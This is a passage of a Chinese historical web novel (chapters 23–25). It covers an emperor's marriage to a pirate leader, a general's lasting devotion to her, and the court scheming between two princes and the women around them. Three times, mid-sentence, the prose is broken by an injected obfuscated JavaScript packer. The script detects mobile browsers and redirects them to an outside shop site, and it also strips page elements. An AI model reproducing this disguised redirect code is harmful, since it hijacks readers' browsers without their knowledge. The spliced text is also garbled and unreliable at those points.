要洪庆帝答应她的事,信上没说,但在信上说了,这事不会对洪庆帝以及他的将士们造成任何损失。 洪庆帝靖渊看了这封信,当下就同意,但却遭到了部下一众将领的阻拦。 他们说是个女子,他们不屑对她出手。 再者,谁知道她会不会让他们干什么伤天害理的事。 靖渊难得对着一众部下翻了白眼,道,淡淡道:“为了剿灭这个女子所带领的水匪,咱们可是损失了好几千人了。” 如今有不伤一兵一卒而收服这支水匪的机会,靖渊自然要抓住。 他冷笑一声,对部下一众将领道:“我劝你们不要小瞧她,她以女子之身,号令一万水匪,还跟擅长水战的赵将军打的有来有回,依我看,她绝非等闲之辈。” 而且虽为水匪,但细究下来,她和她的人从未侵扰欺凌过沿海的百姓,靖渊想她所说的条件应当不会让他为难。 底下赵越被她打了一年,从最初的气急败坏到如今的气定神闲,闻言点了点头,不紧不慢道:“不是我灭自己威风,这娘们是真厉害。” 于是几日后,带着十几个护卫来到了洪庆帝大营。 彼时除了赵越以外的其他人,才第一次见到本人。 瞧着与寻常女子差不多的身高,身量有些瘦弱,肤色因为常年在海上暴晒而略显黝黑,但她眉眼凌厉,目光如电,往比武台上一站,就让人无端地感到一股不好惹的气息。 先从营中最低阶的武官开始,他们一个接一个地上台与比试,结果不出靖渊所料,他的人一个接一个地被丢下比武台。 到最后他手下那些不屑对出手的将领也上了台,结果还是一样的。 眼看着自己一众部下被打的灰头土脸,靖渊当时的脸色可谓是五彩缤纷。 他如坐针毡,从未觉得如此丢脸,恨不得找个地缝钻进去。 手下将领无一人能敌,想要打败,只能他自己上场。 可靖渊也没有十分的把握能赢了她,但在部下神色颓然暗含期待的眼神中,他还是硬着头皮上了。 那一场比试,靖渊打得很是吃力。 两人过了几百招之后,靖渊胜了。 场下爆发出一阵激烈的欢呼声,靖渊满头大汗,回头瞪了他们一眼。 瞎叫唤什么,嫌不够丢脸吗? 他用脚指头想也知道估计是体力即将耗尽,自己才险险胜出。 这时道:“靖渊,我听说你很久了,你果然厉害。” “……” 靖渊心想她一定是在讽刺他。 但没关系,他个人的颜面远及不上士兵的命,遂抱拳,心悦诚服地道:“周女侠武艺过人,在下十分佩服。” 无论过程如何,终究是有人在这比武台上赢了,靖渊清咳一声开口:“在下不才,险胜了周女侠,不知周女侠答应我的事……” 负手于背后,扬一扬脸,傲然道:“我想来说话算数,只要你再答应我一个条件,就此臣服。” 靖渊道:“不知周女侠所说的条件是?” 道:“你要娶我为妻!” 靖渊:“……” 23. 第 23 章 常鹰这句话说完,偌大的军营顿时变得鸦雀无声,台下围观的将领士兵们都听见了这一句,皆瞪圆了双眼,一动不动地看着台上人。 靖渊一瞬间失了声,当着众多部下的面,他不好直接说不,于是便胡乱搪塞两句,邀请常鹰入他帐中相谈。 常鹰将武器交给护卫,大大方方地随他入帐,一坐下便追问道:“如何?你现在同我成亲,我的人下午就可以归降于你。” 靖渊正在给她倒水,军中生活条件简陋粗糙,他好不容易翻出一个没有豁口的杯子。 他一边倒水一边想,这周女侠还真是个急性子,这与赵越禀报给他的关于常鹰的消息倒是一致。 只是,靖渊万万没想到她提出的要求会是这。 靖渊斟酌片刻,道:“周女侠,不瞒你说,在下已经娶过妻,有过一双儿女了,如今天下百姓身处战火之中,在下一心只想匡扶天下,救万民于水火之中,暂时没有另娶妻室的打算。” 常鹰挑眉道:“我打听过了,你那妻子一年前不是因病过世了吗?你是要为她守孝三年?” 靖渊:“……” 他倒是没想过守孝不守孝的问题,不过常鹰这么一提,靖渊便顺着她的话说:“周女侠见谅,贱内辛苦为我生下一对儿女,而我却常年在外,连她病重逝世时也无暇回去探望一眼,在下愧对于她,如今唯一能做的,便是为她守孝三年,以全夫妻情分。所以周女侠的条件,在下怕是不能答应。” 他说完这些话,常鹰“啧”了一声,当下感叹道:“没想到你竟如此重情重义。” 靖渊抱拳道:“惭愧惭愧。” 常鹰道:“那我更要嫁给你了。” 靖渊:“……啊?” 不是,他都说了要守孝三年了啊? 常鹰道:“没关系,我们可以定下婚约,等你为你的亡妻守孝完成后,我们再成亲。” “这……” “你还有别的难处?” 靖渊欲言又止,不想娶她的确还有另外一个原因,他看得出来,他的部下赵越似乎对这个他敌不过的常鹰有着别样的情愫。 不过这毕竟是赵越自己的事情,他没有权利多说什么。 靖渊想了想又道:“周女侠,在下想问你一句,你为何一定要与我成亲?” 常鹰的确有别的目的,而且她并不打算遮掩,便坦然道:“为了给我的人一个保障,一个后盾。” 靖渊疑惑道:“你是怕你归降之后我会苛待他们?” 不待常鹰开口,靖渊便郑重向她发誓:“周女侠,在下以生命起誓,将来我一定会对你的人加以重用,不会苛待他们一分一毫,否则在下将来不得好死,永世不能超生。” 常鹰不买账,嗤笑一声道:“发誓顶屁用,动动嘴皮子的事谁不会?” 靖渊无话可说,无可辩驳。 她说的的确有理。 常鹰将他倒来的水一饮而尽,起身道:“我给你三天的时间考虑,三天后,我若是没有听到想听的答案,咱们就继续打吧。” 话落她便出了营帐,带着她的护卫离开。 她走后,靖渊手下几个将领系数涌入他的营帐中,七嘴八舌地向他打听,唯有赵越无声站在所有人身后,脸上看不出什么表情。 靖渊疲惫地挥了挥手让他们出去,只留了赵越。 赵越年纪比他大上几岁,私下里靖渊偶尔会喊他赵大哥。 “赵大哥,窈窕淑女,君子好逑,你既然对周女侠心生好感,就去追求她吧。” 赵越:“……” 心思冷不防被人说破,赵越一张脸登时涨成了猪肝色,他嗫嚅半天,一句话都没憋出来。 靖渊简单跟他说了常鹰嫁他的目的,末了推了一把赵越:“真的,赵大哥你快去吧,你若能与她结亲,想必周女侠也能放心。” 赵越的确是去找了常鹰,但两日后,赵越回营,径直去了靖渊帐中,什么都没说,只是求靖渊以大局为重,尽快与常鹰定下亲事。 靖渊沉默半晌,皱眉道:“可是你不是喜欢……” “那不重要。”赵越打断他道:“在属下心里,我们要谋划的大业才是最重要的,既然收服常鹰所带领的水匪于我们有益,还请元帅勿要迟疑。” 靖渊想问他与常鹰说了什么,但赵越顾左右而言他,只不住催促:“明天就是常鹰给的最后期限了,还请元帅早做定夺。” 翌日,靖渊派人将常鹰请到大营,与她定下了婚事,三个月后,两人成亲,常鹰带着一万水匪归顺。 常鹰降于靖渊后,因为自身实力强悍,迅速成为了靖渊麾下的一名猛将。 那些当初对她多有轻蔑之意的武将,也渐渐被她的实力征服,不仅臣服于她元帅夫人的身份,更为她的文韬武略而深深折服。 只是可惜,仁献皇后常鹰命不好,有一次与洪庆帝靖渊并肩作战时,为救靖渊不幸被敌方暗器所伤,那暗器上淬了毒,当时与洪庆帝对战的其实是西南边陲一蛮夷小国,那毒也是中原没见过的,是以仁献皇后中毒后,军医们也束手无策,最终只能眼睁睁看着仁献皇后毒发身亡。 那时,二皇子尚在襁褓之中。 仁献皇后死后不到一月,与蛮夷小国的仗打赢了。 靖渊派诚国公赵越善后,负责与蛮夷小国商定后续归顺事宜,他则带着大军拔营前往别处。 半个月后,靖渊得到了诚国公赵越下令屠尽蛮夷小国的所有人口牲畜的消息。 靖渊大怒,急召赵越回营,但已经晚了。 那蛮夷小国里的所有活物,都死在了赵越的一声令下。 靖渊当时便下令要斩了赵越,奈何麾下其他将领几番求情,言及蛮夷小国害了常鹰性命,赵越不过是替常鹰报仇雪恨罢了。 靖渊深思熟虑,为了大业着想,只得饶了赵越。 好在赵越平生也就发了那么一回疯,此后倒是没再违令而行过,靖渊也知道他之所以发疯是因为死的人是常鹰,他心底深处虽不赞同这种为了喜欢的人就拉着所有无辜的生命陪葬的做法,但多多少少也能体谅他。 于是这事渐渐就过去了。 之后便是靖渊称帝,赵越得封诚国公,掌京都禁军,护皇城安危。 因为他们之间有着这样的渊源,所以诚国公赵越一定会无条件地支持靖桓宇,尤其他还掌着禁军。 再加上赵又岚可能拥有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221634|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前世的记忆,大皇子的身世,她估计也知道。就当下的情况来看,两位皇子孰胜孰负,真是没有半点悬念。 好在洪庆帝如今正值壮年,若是不发生前世那件加速他生命走向尽头的意外,他应该可以多活几年,活到她真正有了拉下靖桓宇的资本。 想到此,闻雪英又向闻仲年说了自己打算利用钦天监一事。 闻仲年听完沉吟片刻,缓缓道:“这的确是个办法。” 闻雪英忧愁道:“只是,季洪是新臣,不知他能不能为我们所用?” 闻仲年想了想道,露出一个令人安心的笑:“想让一个人为我们所用,自然是有许多办法的,这件事交给爹。” 与闻仲年又细细说了说她的计划,闻雪英回了自己的院落。 换了家常的衣裳又拆了紧紧盘起的头发,闻雪英坐在妆台前发起了呆。 鞠衣和琥珀在一旁下棋玩,棋子落在棋盘上发出清脆的声响。 她又想到了赵又岚问她的话:难道二皇子不曾写信给你? 闻雪英舒了口气,迟疑着伸手拉开妆台。 靖桓宇的确写了一封信给她,信是贵妃遇刺那日到的,只是信上写了什么,闻雪英却迟迟未看。 实在是只要一想到这信是出自靖桓宇手中,她就没来由地感到厌恶恐惧。 仿佛那不是信,而是一条丑陋又致命的毒蛇,只要她一打开,毒蛇便会蹿出,咬她一口,给她注入无解的毒液。 但,她和靖桓宇还得继续周旋,这信不得不看。 深呼吸了几下,闻雪英将信撕开。 片刻后,闻雪英咬着牙,一脸冷漠地将信塞了回去。 靖桓宇洋洋洒洒写了好几页,多数写的是他对自己如何如何思念,又如何如何期待回京见她,若是前世的她,看到这些字里行间都充斥着浓情蜜意的话语,她一定会高兴得心花怒放,夜不能眠,如今,闻雪英几乎是咬着牙看完这部分。 最后一页,他终于说了点有用的,孙家老宅失火一事颇为蹊跷,他查来查去,的确是查到了一点线索。 孙家老宅失火那日,有人看见老宅里负责膳食的厨娘在街上与一年轻男子发生争吵,当然没吵几句,周围围观的百姓就说那厨娘可是孙家老宅的人。 据那日围观的百姓说,那年轻男子说话虽有意模仿亳州口音,但还是有去过京都的百姓听出他是京都人。 他不认识孙家老宅的厨娘,但也知道孙家老宅是洪庆帝住过的地方,于是很快就向那厨娘赔礼道歉,那厨娘也是个本分人,并未仗着自己曾经给洪庆帝做过饭而不依不饶,她大方地原谅了初到亳州的年轻男子,那年轻男子也千恩万谢地走了。 这便是那一日唯一的奇怪之处。 到了半夜,老宅失火,宅中所有人都葬身于火海。 靖桓宇派人去找那年轻男子,然而亳州城里大大小小的客栈,那几日根本没有外地口音的男子入住。 靖桓宇又去查了亳州所有的外地商队,也没有那年轻男子的线索。 仿佛是一抹幽魂,除了街上与孙家老宅的厨娘发生争吵以外,那年轻男子没有留下任何痕迹。 京都口音……凶手是京都人? 24. 第 24 章 赵又岚向她打探孙家老宅失火案,难道…… 房中炭火噼啪作响,混合着棋盘落子的声音,闻雪英合衣躺在了床上,放飞思绪,突然想到了一个大胆的可能。 莫不是,孙家老宅失火案与赵又岚有关? 因为她也重生了,拥有了关于靖桓洲身世的记忆,打算派人去抓孙家老宅里的那些老仆,不知中途出了什么变故,以至于发生了失火一事,还殃及了周国公夫妇二人。 死几个奴仆或许能遮掩过去,但如今搭上了周国公夫妇的命,这事可就小不了了。 所以她害怕靖桓宇查到真相,才会向她打探。 不过这到底只是闻雪英的一个猜测,她转念一想,又觉得以她对赵又岚的了解,她应当不会如此鲁莽行事,她若有了前世记忆,最稳妥的办法便是将其透露给靖桓宇。 可话又说回来,如今的靖桓宇,似乎并不像是知道靖桓洲身世的样子,否则他早该像扑食的秃鹫,将靖桓洲给生吞活剥了。 赵又岚若是重生,她为什么不告诉靖桓宇靖桓洲的身世? 难道是她猜错,赵又岚并不是重生? 可是,赵又岚又为何表现的一副好像对她和靖桓宇之间的事非常熟悉的样子? 绕来绕去,闻雪英越想越糊涂,竟有些头昏脑涨,她长长地叹了口气,干脆闭上眼先睡一觉。 到得酉时一刻,鞠衣才轻轻将她叫醒。 外头金乌已然西沉,天色暗了下来,闻雪英睡了一觉,脑子里更乱了。 她望着摇曳不定的烛火,想着得找个机会探一探赵又岚的口风。 * 这一日,赵又岚从宫中离开后并未立即归府,年初七的大街上有些冷清,她的车马本已到了家门前,侍女下了车伸手扶她,赵又岚弯腰探出头,看到“诚国公府”巨大的牌匾后,迟疑片刻又坐回了马车内。 她吩咐车夫:“先去别的地方吧。” 车夫愣了愣,回身问道:“不知小姐想去哪里?” 赵又岚:“走哪算哪。” 车夫挠了挠头,茫然不解其意。她的侍女冲车夫使了个眼色,只让他先驾车动起来。 京都那么多条街,到了小姐想去的地方,她自然会出声。 就这么一直走到天色将黑,赵又岚寻了处饭馆用了晚饭,这才皱着眉头让车夫回诚国公府。 回到家中后,她径直回了自己房中,刚准备梳洗休息,前院来人传话,说她爹诚国公赵越请她去一趟前厅。 赵又岚顿了一顿,随即置若未闻,该做什么便做什么。 传话的奴仆不由看了一眼赵又岚房中头发略显花白的妇人一眼。 这妇人姓王,是从小照顾赵又岚的奶娘,长着一张慈祥和蔼的面容,总是眯着眼睛温柔笑着,叫人见了不禁生出几分亲近之意。 她接收到奴仆求救的眼神,朝他点了点头,随后走到赵又岚身边,一边替她拆卸头上的珠钗一边道:“小姐,国公爷已经等了您许久了。” 赵又岚没问他等自己做什么,闻言只是朝着仆从的身影冷淡道:“他爱等就慢慢等着出来。” 话落又起身转入屏风后,准备脱衣。 王氏叹了口气,又跟了上去,她低声劝道:“小姐,您跟国公爷总是这个样子怎么成呢?女子在家从父,您将来的一切都还要仰仗国公爷,父女之间哪有那么深的仇怨,小姐还是去见见国公爷吧。” 国公爷从半下午就吩咐府厨房做了小姐爱吃的菜,只等着与小姐共叙父女天伦,可时间越来越晚,小姐始终没有归府。 这个时间才回来,王氏猜测她定是在外头的饭馆用过饭了,但国公爷还饿着肚子等着女儿呢。 今天小姐不去,明日府上不知又要传出什么诋毁小姐的话了。 王氏苦口婆心地劝了几句,翻来覆去便是那些劝她为人子女要对父母敬重,不得忤逆父母,惹父母生气的话。 这些年隔三差五地,只要她一跟赵越吵架,王嬷嬷便会拿这些话来劝她,赵又岚已经听腻了。 但她生母早逝,算是王氏一手将她带大,在赵又岚心里,王氏几乎相当于她的母亲。 王氏的话,赵又岚虽不认同,但她会听。 “好,我这就去。” 赵又岚不情不愿地去了前院。 到了赵越跟前,她极度敷衍地行了下礼,不咸不淡地地问道:“父亲,您找我?” 赵越看着她这副冷淡的样子,武将的暴脾气险些就要爆发,但他不想和女儿再度发生争吵,于是暗暗调整了下情绪,心平气和道:“坐下说话。” 赵又岚面无表情,挑了个离赵越最远的位置坐下。 赵越舒了一口气,挤出一抹笑,关切道:“饿不饿?一边吃一边说吧。” “不必了,我在萃华楼吃过了。”赵越刚夹了一筷子赵又岚爱吃的菜,闻言动作一僵,片刻后还是缓缓放在她面前的碗里,“可以再吃一点,这是你最爱吃的冬笋烩鸭子。” 赵又岚垂着眼皮看着那碗冬笋烩鸭子,嘴角不由扯出一个讽刺的笑。 她最爱吃的菜,根本就不是什么冬笋烩鸭子。 她喜欢冬笋,也喜欢鸭子,独独讨厌将一切将冬笋和鸭子放在一起的菜肴。 王嬷嬷和她亲近的侍女都知道,府上的官家也知道,但赵越,她的亲爹却不知道! 赵又岚很是反感他尝试做出一副关爱她的样子,见状深吸一口气,直接道:“时候不早了,您若是没什么事,我先回房了。” “爹难道有事才能叫你,没事就不能陪你一起吃顿饭吗?” 赵又岚起身就走,赵越忙道:“爹的确是有事要说。” 赵越看着她转身欲走的背影,心中不由感到几分苦涩。 这个女儿真是越大越不听话了。 但他也没再拐弯抹角,道明了今日叫她来的本意:“你什么时候跟大皇子认识的?” 赵又岚闻言转身看了他片刻,几息后后突然冷笑一声,道:“是曹氏告诉你的吧?怎么,曹氏如今连我的事也要管吗?” 她口中的曹氏是赵越的继室,嫁给赵越也有十来年,为赵越生下了一儿一女,长子赵英今年十三岁,幼女赵佳今年十岁。 赵越对曹氏不见得有多深的夫妻之情,但曹氏为他生下了儿子,他还是很看重曹氏的。 如今听长女说话如此没大没小,压抑的怒火终于爆发,他一掌拍在桌上,怒道:“你真是越来越不知天高地厚了,曹氏再如何也是你的嫡母,你连一声母亲也不叫了吗?在你心里,是不是我这个父亲你也不想叫了?” 赵越是个武将,人长得又高又壮,满脸的络腮胡,平日不笑时便让人觉得不怒自威,如今他发起火来,声音粗糙浑厚,想是炸雷一样,外头经过的家仆也被他吓得心脏一跳,纷纷四散开来去找府上其他主子来。 然而赵又岚丝毫不惧,她咬了咬牙,随即也一掌拍在桌上,比赵越拍桌子的声音还大。 手掌先是麻木,继而痛楚直抵心脏,赵又岚梗着脖子,一字一句道:“可惜了,我身上到底流着你的血,若不然,你以为我还会愿意称你一声父亲?” 赵越不期她说出这样的话来,当下被气得脸色涨红,反而不知说什么了,只伸手指着她,“你”了半天。 他在军营里骂手下的兵将从未卡过壳,往往将他们骂的连大声呼吸都不敢。 可现在他面对的是他的女儿,所有的训斥的话语到了嘴边都被他强收了回去,最后他只是斥责道:“没大没小,简直不知礼数!” “还请父亲见谅,我是个有人生没人教的,不比赵英赵佳自小环绕父亲膝下,事事令父亲满意。” 赵越被气得心口发疼:“你这说的什么话,老子还活着呢!” 赵又岚又缓缓坐了回去,语气闲闲道:“父亲忘了吗,我娘在我一岁时就死了,而你,我的父亲,可是忙着教导赵英和赵佳去了,这些年你管过我吗?” 她语气平静,并没有质问之意,可赵越听她提及早逝的原配妻子,没来由就有些心虚。 他意识到自己不能跟这个女儿争吵,过往的经历告诉他,此时自己若是不低头服软,她能跟自己吵上一天。 赵越强迫自己冷静下来,慢慢想起今日叫她来的目的。他喘了几口气,道:“以前的事,是爹不对,爹向你赔不是。” 这样的话赵又岚同样也听腻了,无论他将这话说多少遍,都无法换回娘亲的命。 不过她近日本就心力交瘁,也懒得跟他继续争执,便不耐烦地问道:“你找我到底要说什么?” 赵越斟酌了下,尽量用比较温和的语气道:“爹之前跟你说过,你是要嫁给二皇子,将来母仪天下的,最好还是跟大皇子不要走得太近。” 曹氏告诉他,前几日她去城外寺庙上香,偶然遇见长女也在寺庙里头,不过她是在寺庙后院,身边站着一个男子。 曹氏认出那是大皇子,又见赵又岚与大皇子仿佛相谈甚欢的模样,而两人的仆从侍女,都离得远远的。 曹氏当下就觉得不妙,回府后就将这事告诉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272737|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵越。 她是知道自家夫君有扶持二皇子成为太子的打算的,知道夫君早就与二皇子暗中达成一致,事成之后封赵又岚为后。 那可是皇后啊,全天下最尊贵的女子。 曹氏只恨自己早生了几十年,又恨自己的女儿赵佳今年才十岁,否则这好事又怎么会轮得上赵又岚。 但她还是知道轻重缓急,知道他们家不能跟大皇子有什么牵扯,便将这事告诉了赵越,于是便有了今晚赵越与赵又岚之间这一幕。 赵又岚心里厌烦极了曹氏这个继母的多嘴多舌,但她也清楚,最根本的问题还是在赵越这里。 她也尝试着心平气和地对赵越道:“我一个月前就跟你说过,我不想嫁给二皇子。” “你不嫁二皇子难道要嫁大皇子?” 赵又岚道:“我就是要嫁大皇子!” “胡闹!”赵越的声音忍不住又大了些,顿了顿又觉得这事不宜张扬,忙压低声音道:“我难道没告诉过你,我要扶持二皇子登基?” 赵又岚平静地望向他:“为什么你不支持大皇子?” 赵越刚要回答,赵又岚含笑打断他道:“因为他是常鹰的儿子,是吗?” 赵越:“不许对仁献皇后不敬!” 他这一句话,虽声音不大,可赵又岚看得出来,他现在才是真正的动怒了。 若自己再说一句常鹰,指不定背上就要添几道鞭痕了。 但她还是道:“都说当年陛下是给了你机会,让你去求娶常鹰的,是常鹰不愿意嫁给你吗?” 赵又岚紧咬腮帮,已经开始期待赵越拿家法伺候她了,没想到赵越听完她这句话,却是突然诡异地沉默了下去。 赵又岚观他神色,便知他又在回忆仁献皇后了。 她只觉讽刺至极,当下也不想再看见赵越的脸,随即起身离开。 一转身,曹氏带着赵英赵佳也赶了过来,母子三人不知有没有听见方才的争吵,不过赵又岚也不在意。 她冷冷瞪向曹氏,眉眼一片凛然。 曹氏被它恶狠狠的眼神吓了一跳,不自觉后退了一步,不小心踩到赵佳脚上,继而忙又让开,慌乱间母女二人险些跌倒。 十三岁的赵英已经长得比曹氏还高,他伸出手稳稳地扶住母亲和妹妹,接着将她们护在了自己身后。 “长姐,母亲若是做了什么,弟弟代她向你赔罪。” 赵英朝她行了平辈之礼。 赵又岚看着眼前肩宽体健的异母弟弟,心中对赵越的恨又深了几分。 她冷声道:“我回外祖家住几日。” 这话她是说给赵越听的,不过她料想赵越此时深陷回忆,怕是也听不见。 罢了,左右他也不在乎自己。 赵又岚走了,曹氏拍了拍胸口,向想骂她几句,又想起在赵越面前,于是住了嘴,上前唤道:“老爷,又岚这又是在闹什么?” 赵越不答,他确是回忆起了仁献皇后常鹰。 当年陛下让他去求娶常鹰,他鼓起勇气,如同个毛头小子一样去了,常鹰并没有说不愿意嫁给他,相反的,常鹰当时露出了难得一见的温柔的笑,她双眼亮晶晶地望着赵越,说:“好啊,我也可以嫁给你。” 赵越愣了一瞬,脸上还未来得及涌上笑容,常鹰又补充了一句:“只要你杀了靖渊,取而代之,我就嫁给你。” 赵越当时怀疑自己听错了。 常鹰又重复道:“你今日回去杀了靖渊,取代他的位置,我今日便可成为你的妻子……说起来,咱们也算得上是老朋友了,比起靖渊,我的确更喜欢你。” 她的声音轻轻的,像是春日里和煦的微风,也像地狱里的鬼魅之声,正在诱惑他。 赵越怔愣了许久才反应过来,常鹰要嫁的不是靖渊,而是未来的天下之主。 只要他成为未来的天下之主,常鹰想嫁的人就是他了。 杀了靖渊取而代之,这样的念头从他脑中一闪而过,只为这一瞬间的一闪而过,赵越就感到了无地自容。 靖渊是他的恩人,他不能做忘恩负义的事。 于是他回了营,跪地央求靖渊与常鹰成亲,关于常鹰跟他说的那句话,他也永远地埋在了心里。 时至今日,他并不后悔当初所做的决定。 仁献皇后常鹰是他这辈子最爱的女人,二皇子是她唯一的血脉,赵越从二皇子诞生的那一刻,就做好了今后扶持二皇子登基的决定了。 这个决定,无人能改。 亲生的女儿也不能! 25. 第 25 章 赵越自回忆中回神,发现屋内只剩下曹氏和赵英赵佳,赵又岚在他失神回忆时就已经走了。 曹氏道:“又岚说要回杨家住几日,刚才门房来报,她连夜走了。” 赵越叹了口气,面色尽显疲惫。他沉默半晌,开口问道:“她带了王氏没有?” 曹氏“嗯”了一声,继而觑着他的神色,小声道:“自然是带了的,王氏在又岚心里,可是比老爷和我都要重要。” 赵越听出她话里对长女隐隐的埋怨,不由瞪了她一眼,“又岚几乎是王氏一手抚养长大的,她自然待王氏比待你亲近。” 曹氏抿了抿唇,不说话了。 赵越又叹了口气,想到女儿那句要嫁给大皇子的话,他心里越发烦乱。 杨家他不许他登门已有多年,女儿去杨家他亦不敢阻拦,不过有王氏随行,想必又岚也不会胡来。 赵越暗自忖度着,他或许该去见一见陛下,陛下看在仁献皇后的面子上,一定会同意赐婚的。 不过这事还是得等二皇子回京后与他商议过后再说。 * 转眼到了正月十三,昨夜闻雪英陪李檀住在萃华楼,一早起床时,李檀已经外出谈生意去了。 闻雪英稍作洗漱,看今日天气晴朗,打算出门去逛逛。 快到元宵了,原本因为过年而有些冷清的京都街道又渐渐热闹起来。 沿街两边摆满了各种小摊,摊上物品琳琅满目,令人目不暇接。 闻雪英逛了一阵,给闻雪洲闻雪琼买了些零嘴玩具,又给李檀和钱晚宁分别买了适合她们各自风格的首饰,最后取了年前给闻仲年定做的鼻烟壶。 看着时辰差不多了,她便又回到萃华楼。 楼中还有闻家的家仆,闻雪英嘱咐他们将买来的东西送回闻府,打发走家仆,她正打算去看看李檀回来没有,这时眼前兜头罩下一片黑影。 闻雪英愕然抬头,面前的黑影对她躬身道:“闻姑娘,我家公子正在对面雅间,有请姑娘过去一叙。” 是靖桓宇的侍从常立。 闻雪英顺着他的目光看过去,就见靖桓宇正站在对面的雅间里,隔着窗户对她微笑。 他什么时候回来的,她竟不知道! 闻雪英不由咽了口唾沫,不知道自己的脸色有没有变得惨白一片,她掐了掐手心,强迫自己露出喜悦的笑,随即抬脚便向对面的雅间跑去。 她努力装出一副迫不及待想要见到靖桓宇的模样,每一刻都在命令自己的脑子暂时忘记前世那些记忆。 到了靖桓宇面前,她佯装久别重逢骤然生疏的样子,踌躇着不敢上前,只颤声道:“殿下,你何时回来的?” 靖桓宇只当她是看见自己激动,他温和地笑一笑,上前握了她的手道:“昨夜刚到的,深夜不好去叨扰府上,好不容易等到了今早,去了你家才知道你这两日住在萃华楼。” 闻雪英眼皮忍不住跳动:“倒是劳烦殿下白跑一趟了,我……” 靖桓宇抬眼打量着萃华楼三楼的所有客房,道:“听说你娘可是宁州的首富,能以女子之身外出行商已是不易,你娘还能成为宁州首富,可真是奇女子也……我什么时候能见一见你娘?” 闻雪英忘记了自己本来要说什么。 他语声里对娘的佩服听上去是如此地真诚,但她知道他心里打着什么主意。 “殿下说笑了,我娘不过是一商户罢了,她常年四处奔波,性子随意,恐会冲撞了殿下。” 靖桓宇道:“无妨,她是你娘,以后便是我的岳母,我作为晚辈自不会与她计较。” 闻雪英听他说着这样虚情假意的话,嘴角忍不住一抽,她忙笑着道:“只是今日殿下来得不巧,我娘出门了,也不知什么时候能回来。” 她的声音略微大了些,希望守在外头的鞠衣能听见,好去阻止李檀,让她暂时不要回萃华楼。 鞠衣听见了,也反应过来,她“呀”的一声,闻雪英便皱眉道:“大呼小叫的干什么?” 外头鞠衣小声道:“二皇子恕罪,只是奴婢突然想起,小姐答应买给二小姐和少爷的小糖人忘记买了。” 闻雪英装出突然反应过来的样子,道:“那你现在赶快去买,否则我回去后他们两个又要闹腾个不停了。” 鞠衣应是,匆匆下楼走了。 怕靖桓宇起疑,闻雪英顿了顿又补充道:“殿下刚回京,不如先休息两日,等过了元宵,我再带殿下见我娘。” 靖桓宇道:“也好。” 闻雪英暗暗调整呼吸,又抬头看了看他的脸,随即柔声关切道:“殿下,亳州一行,您瞧着清减了许多,是亳州的吃食不习惯吗?” 靖桓宇叹息一声道:“我心里总想着尽快查清父皇交代的事,就可以回京见你,后来得知父皇元宵过后便要选秀扩充后宫,我更是心急如焚,一刻不敢停歇,恨不能插翅飞回京都,求父皇将你赐婚于我。” 他说这样的话,闻雪英心里明明怕得要死,面上却还要装出一副欣喜羞赧的样子。 她声如蚊蝇:“殿下可别说这话了,叫人听见了不好。” 靖桓宇牵着她一同坐下,小声道:“我已经想好了如何让父皇给我们赐婚的办法,等元宵一过,你就等着做太子妃,做未来的皇后吧。” 闻雪英听了这话,不由吃惊,微微睁大了双眼,她试探道:“殿下,莫非陛下已经打算册封你为太子了?” 靖桓宇道:“那倒是还没有,不过你放心,父皇就两个儿子,我已经有十足的把握,大哥是绝计当不成太子的,太子之位,只能是我的了。” “……殿下为何如此肯定?” 闻雪英打量他说这番话时的神情,仿佛他已成竹在胸。 靖桓宇眼神微闪,继而笑着道:“我自有计谋,你只管安心等着当太子妃,当皇后就好。” 他不愿意详说,闻雪英不由猜测,或许赵又岚已经向他透露过了靖桓洲的身世。 心念一转,闻雪英噙着温柔的笑继续道:“只是不知殿下打算如何让陛下主动为我两赐婚呢?前几日入宫给贵妃娘娘请安,我曾听贵妃娘娘的娘家侄女孙淑仪提及,陛下此次选秀,主要目的还是为了给两位皇子选妃。” “我真怕陛下到时候万一将我赐给大皇子可该怎么办?”说到此处,闻雪英眉头紧皱,神情焦灼忧虑,甚至隐有啜泣之音,似乎这件事真的很让她困扰烦忧。 靖桓宇见她红了眼眶,忙用手指替她轻轻擦拭了。 他的计划本不该让太多人知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272738|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓,但如今见闻雪英如此,他忍不住开口宽慰她:“你便将心放在肚子里去,父皇就算到时候从秀女中为我们挑选皇子妃,也不可能他随手一指,指到哪个就选哪个,他总要让钦天监合了八字的……” 钦天监……闻雪英脑子快速地转动,隐约猜到了他所谓的计划,“殿下是说?” “只要钦天监监正告诉父皇,我命里有灾,唯有娶了壬寅年乙卯月乙酉日甲午时出生的女子方能化解,我想父皇定会将你赐婚于我。” 他说的信誓旦旦,成竹在胸,所说的计划与闻雪英猜测的大体差不多。 